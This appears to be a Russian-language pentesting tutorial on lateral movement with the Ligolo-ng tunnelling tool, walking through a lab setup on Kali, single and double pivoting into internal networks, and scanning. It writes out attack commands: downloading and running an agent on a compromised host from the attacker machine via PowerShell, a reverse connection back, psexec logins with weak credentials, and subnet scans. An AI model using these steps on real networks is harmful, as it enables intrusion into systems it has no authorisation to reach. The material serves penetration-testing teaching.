Сегодня поговорим про Lateral Movement с использованием инструмента Ligolo-ng, который позволяет создавать туннели через reverse TCP/TLS с помощью tun-интерфейса, без необходимости использования SOCKS.
Еще по теме: Интересный кейс атаки Lateral Movement
Что такое Lateral Movement
Lateral Movement (латеральное перемещение) — это термин, используемый в кибербезопасности для обозначения процесса, при котором злоумышленник перемещается по системам внутри сети после первоначального проникновения.
Основные аспекты Lateral Movement:
- Происходит после успешного начального взлома, когда злоумышленник получает первичный доступ к системе или сети.
- Цель — расширить контроль над большим количеством систем и данных в сети жертвы. Злоумышленник пытается получить больше привилегий, доступа к конфиденциальной информации и критически важной инфраструктуре.
- Используются различные техники и инструменты, такие как эксплуатация уязвимостей, атаки «пересылки билетов», компрометация учетных данных, использование вредоносного ПО и т.д.
- Осложняет обнаружение вторжения, так как происходит внутри защищенного периметра и может имитировать законную активность.
- Является критическим этапом многих сложных кибератак.
Установка и использование Ligolo-ng на Kali Linux
Ligolo-ng — это легкий и эффективный инструмент, разработанный для создания туннелей через обратные TCP/TLS-соединения с помощью tun-интерфейса. Среди особенностей стоит отметить его GO-код, VPN-подобное поведение, настраиваемый прокси и агенты в GO. Инструмент поддерживает множество протоколов, включая ICMP, UDP, скрытое сканирование SYN, обнаружение ОС и разрешение DNS, обеспечивая скорость соединения до 100 Мбит/с.
Ligolo против Chisel
- Ligolo-ng превосходит Chisel по скорости и возможностям настройки.
- В Chisel используется модель «сервер-клиент», в то время как Ligolo-ng устанавливает индивидуальные соединения с каждой целью.
- Ligolo-ng сокращает время обслуживания за счет отсутствия остатков инструментов на диске или в памяти.
- Ligolo-ng поддерживает различные протоколы, включая ICMP, UDP, SYN, в отличие от Chisel, который работает в основном по HTTP с использованием websocket.
Скачать Ligolo-ng
Скачайте файл Ligolo agent для Windows 64-bit и файл proxy для Linux 64-bit.
Установите файл agent на целевую машину и файл proxy на атакующую машину (Kali Linux).
Настройка Ligolo-ng
Шаг 1: После получения файлов агента и прокси необходимо выполнить настройку. Чтобы узнать текущее состояние конфигурации Ligolo-ng, используйте команду ifconfig. Чтобы инициировать включение, выполните следующую последовательность команд:
1 2 |
ip tuntap add user root mode tun ligolo ip link set ligolo up |
Проверьте работу инструмента с помощью команды ifconfig.
Шаг 2: Распакуйте файл прокси-сервера Ligolo:
1 |
tar -xvzf ligolo-ng_proxy_0.5.1_linux_amd64.tar.gz |
Данный прокси-файл облегчает создание соединения через Ligolo, позволяя выполнять последующий Pivoting. Чтобы изучить весь спектр параметров, доступных в файле proxy, воспользуйтесь командой help:
1 |
./proxy -h |
Шаг 3: Опции, показанные на предыдущем изображении, предназначены для включения различных типов сертификатов в прокси. Выбранный подход предполагает использование параметра -selfcert, который работает на порту 11601. Выполните команду, как показано на изображении ниже:
1 |
./proxy -selfcert |
Шаг 4: После выполнения команды тулза начинает работать на атакующей машине. В дальнейшем для установки агента Ligolo на целевую машину распакуйте файл агента ligolo с помощью команды:
1 |
unzip ligolo-ng_agent_0.5.1_windows_amd64.zip |
Чтобы облегчить передачу этого файла агента на целевую машину, создайте сервер с помощью команды:
1 |
updog -p 80 |
Шаг 5: В контексте бокового перемещения сессия была успешно получена через netcat. Используя установленное соединение netcat, следующим шагом будет загрузка файла агента Ligolo на целевую систему. Ориентируясь на изображение ниже, выполните указанную последовательность команд:
1 2 3 |
cd Desktop powershell wget 192.168.1.5/agent.exe -o agent.exe dir |
Шаг 6: Очевидно, файл агента был успешно загружен. Учитывая, что прокси-файл в настоящее время работает на Kali, последующие действия заключаются в выполнении файла агента.
1 |
./agent.exe -connect 192.168.1.5:11601 -ignore-cert |
После выполнения команды будет инициирована сессия Ligolo. Затем выполните команду session, выбрав значение 1 для доступа к активной сессии. После установления сессии выполните команду ifconfig, как показано на изображении.
Примечательно, что она раскрывает существование внутренней сети на сервере, обозначенной IPv4-адресом 192.168.148.130/24. Это открытие побуждает к дальнейшему исследованию создания туннеля через эту внутреннюю сеть в последующих шагах.
Single Pivoting
В сценарии одиночного Pivotinga цель состоит в том, чтобы получить доступ к сети B, оставаясь в границах сети.
Попытка прямого пинга сети B показывает, что это невозможно из-за различной конфигурации сети.
Чтобы продвинуться к единственной Pivoting-цели, будет открыто новое окно терминала. Затем внутренний IP-адрес будет добавлен в IP-маршрут, и добавление будет подтверждено с помощью следующих команд:
1 2 |
ip route add 192.168.148.0/24 dev ligolo ip route list |
Вернитесь в окно прокси-сессии Ligolo и запустите процесс туннелирования, выполнив команду start.
После создания туннеля в сеть B мы выполнили команду netexec для сканирования подсети сети B, обнаружив дополнительный объект Windows 10, отличный от DC1.
При попытке пингануть IP теперь будут наблюдаться успешные ответы на пинг, в отличие от предыдущих безуспешных попыток. Кроме того, можно провести комплексное сканирование nmap, как показано на изображении ниже.
Double Pivoting
В процессе двойного pivoting наша цель — получить доступ к сети C из сети A, используя сеть B в качестве посредника.
В новом окне терминала используйте инструмент Impacket для доступа к идентифицированной Windows 10 с IP 192.168.148.132. После этого выполните следующий набор команд для загрузки агента Ligolo на Windows 10
1 2 3 4 |
Impacket-psexec administrator:123@192.168.148.132 cd c:\users\public powershell wget 192.168.1.5/agent.exe -o agent.exe dir |
Затем инициируйте выполнение файла agent.exe. По завершении будет создана сессия, поскольку наш прокси-файл Ligolo уже работает.
1 |
agent.exe -connect 192.168.1.5:11601 -ignore-cert |
Запустите прокси-сервер Ligolo-ng, появится новая сессия, соответствующая Windows 10, как показано. Выполните команду start, чтобы запустить дополнительное туннелирование.
Выполните команду session, чтобы отобразить список сессий. Перемещайтесь по сеансам с помощью клавиш со стрелками, выбирая нужный сеанс для доступа. В данном случае нам нужен доступ к последней сессии, обозначенной как сессия 2. Выберите эту сессию и воспользуйтесь командой ifconfig для проверки интерфейсов. Это действие позволяет обнаружить дополнительный интерфейс сети C с адресом 192.168.159.130/24.
После идентификации новой сети первым шагом будет попытка выполнить ping. Однако на изображении ниже видно отсутствие связи между Kali и сетью C.
Добавьте подсеть сети C в список IP-маршрутов с помощью следующей команды.
1 2 |
ip route add 192.168.159.0/24 dev ligolo ip route list |
После модификации нашего IP-маршрута следующий шаг включает в себя добавление listener (слушателя), который будет обходить внутреннюю сеть и получать сеанс. Чтобы добавить слушателя, выполните команду:
1 |
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444 |
Изображение выше демонстрирует включение слушателя. Чтобы инициировать туннелирование, обратитесь к доступным опциям с помощью команды help. Очевидно, что перед запуском процесса в сеансе 2 необходимо остановить туннелирование в сеансе 1. Такой пошаговый подход облегчает передачу данных слушателю, который впоследствии извлекает необходимую информацию. Эта техника работы, известная как двойной pivoting, предполагает остановку первичного туннелирования в первой сессии с помощью команды stop. Во втором сеансе выполните команду start, следуя шагам, показанным на скрине ниже.
Выполнение двойного туннелирования было успешным, и его проверка произошла с помощью команды:
1 |
crackmapexec smb 192.168.159.0/24 |
Далее последовало обнаружение Metasploitable в сети. Это позволило провести ping и nmap-сканирование, используя полученный доступ к сети, как показано на изображении ниже.
Защита от Lateral Movement
Защита от Lateral Movement включает сегментирование сетей, ограничения привилегий, использование многофакторной аутентификации, шифрование данных, журналирование и мониторинг активности и т.д.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Ethernet-туннели при пивотинге
- Туннелирование при пивотинге
- Защита от обнаружениа при атаке на Active Directory
- Вредоносное обновление для смены пароля Windows